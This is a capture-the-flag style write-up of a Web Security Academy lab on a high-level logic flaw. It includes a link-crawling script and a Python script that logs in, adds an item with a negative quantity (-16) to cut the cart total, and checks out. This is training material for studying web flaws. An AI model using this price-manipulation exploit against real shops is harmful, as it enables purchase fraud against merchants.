High Level Logic Vulnerability

Entities

Asset: https://0ae4008f04bfe75680e04e27000900d8.web-security-academy.net

Enumeration

Access the lab, add the domain to Burp’s Target scope and check Include subdomains. View / route source page and inspect the page, then request all embedded links via Burp proxy using the script below.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from bs4 import BeautifulSoup
from urllib.parse import urljoin
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Specify Variables
base_url = "https://0ae4008f04bfe75680e04e27000900d8.web-security-academy.net"
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

# Parse Base URL
content = BeautifulSoup(requests.get(base_url).text, 'html.parser')

# Find and Request all href resource
for link in content.find_all('a', href=True):
  full_url = urljoin(base_url,link['href'])
  response = requests.get(full_url, proxies=proxies, verify=False)
  print(f"{response.status_code} {response.url}")

# Find and Request all src resource
for img in content.find_all('img', src=True):
  full_url = urljoin(base_url,img['src'])
  response = requests.get(full_url, proxies=proxies, verify=False)
  print(f"{response.status_code} {response.url}")

/images/bizlogic2/01-enumerate-high-level-logic-vulnerability.png — Enumeration

Exploration

Stacking BurpSuite and the Browser with FoxyProxy extension for Burp turned on, perform a user flow for purchasing an item after logging in with the provided user credential wiener:peter. The /login when requested with valid credentials makes a POST request with csrf, username and password parameters.

/images/bizlogic2/02-explore-high-level-logic-vulnerability.png — Exploration

Exploitation

Observe a POST request to /cart with productId,redir, and quantity parameters. When the cart is viewed a GET request is made to /cart which returns an ensuing page with a coupon feature that has a csrf input tag and a form tag that makes a POST request to /cart/checkout to place an order for the item. The subtlety here is that the price is hard-coded and can’t be changed but the item quantity can. Typically the total price of item is calculated by multiplying the price and quantity, hence we exploit the quantity parameter with a negative value. Add two items to cart and view the cart, then send these requests to Burp Repeater and manipulate the quantity of the second item to gravely reduce the price of the first item and then purchase the desired item. This exploit can be automated with the script below

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from bs4 import BeautifulSoup
from urllib.parse import urljoin
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Define Variables
base_url = 'https://0ae4008f04bfe75680e04e27000900d8.web-security-academy.net/'
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

# Get CSRF Token
def get_csrf_token(session, url):
  response = session.get(url, proxies=proxies, verify=False)
  csrf_token = BeautifulSoup(response.text, 'html.parser').find('input', {'name': 'csrf'}).get('value')
  return csrf_token

# Purchase Item
def purchase_item(session, url):
  # Login
  login_url = urljoin(base_url, 'login')
  login_csrf_token = get_csrf_token(session, login_url)
  login_payload = {'username': 'wiener', 'password': 'peter', 'csrf': login_csrf_token}
  login_response = session.post(login_url, data=login_payload, proxies=proxies, verify=False)
  if login_response.status_code == 200:
    # Add first item
    cart_url = urljoin(base_url, 'cart')
    cart_payload1 = {'productId': '1', 'redir': 'PRODUCT', 'quantity': '1'}
    session.post(cart_url, data=cart_payload1, proxies=proxies, verify=False)

    # Add second item
    cart_payload2 = {'productId': '2', 'redir': 'PRODUCT', 'quantity': '-16'}
    session.post(cart_url, data=cart_payload2, proxies=proxies, verify=False)

    # Checkout
    checkout_url = urljoin(base_url, 'cart/checkout')
    checkout_csrf_token = get_csrf_token(session, cart_url)
    checkout_payload = {'csrf': checkout_csrf_token}
    checkout_response = session.post(checkout_url, data=checkout_payload, proxies=proxies, verify=False)
    if checkout_response.status_code == 200:
      print("Purchase successful!")
    else:
      print("Failed to checkout.")
  else:
    print("Failed to log in.")

def main():
  session = requests.Session()
  purchase_item(session, base_url)

if __name__ == "__main__":
  main()

High Level Logic Vulnerability

Entities

Enumeration

Exploration

Exploitation

Resources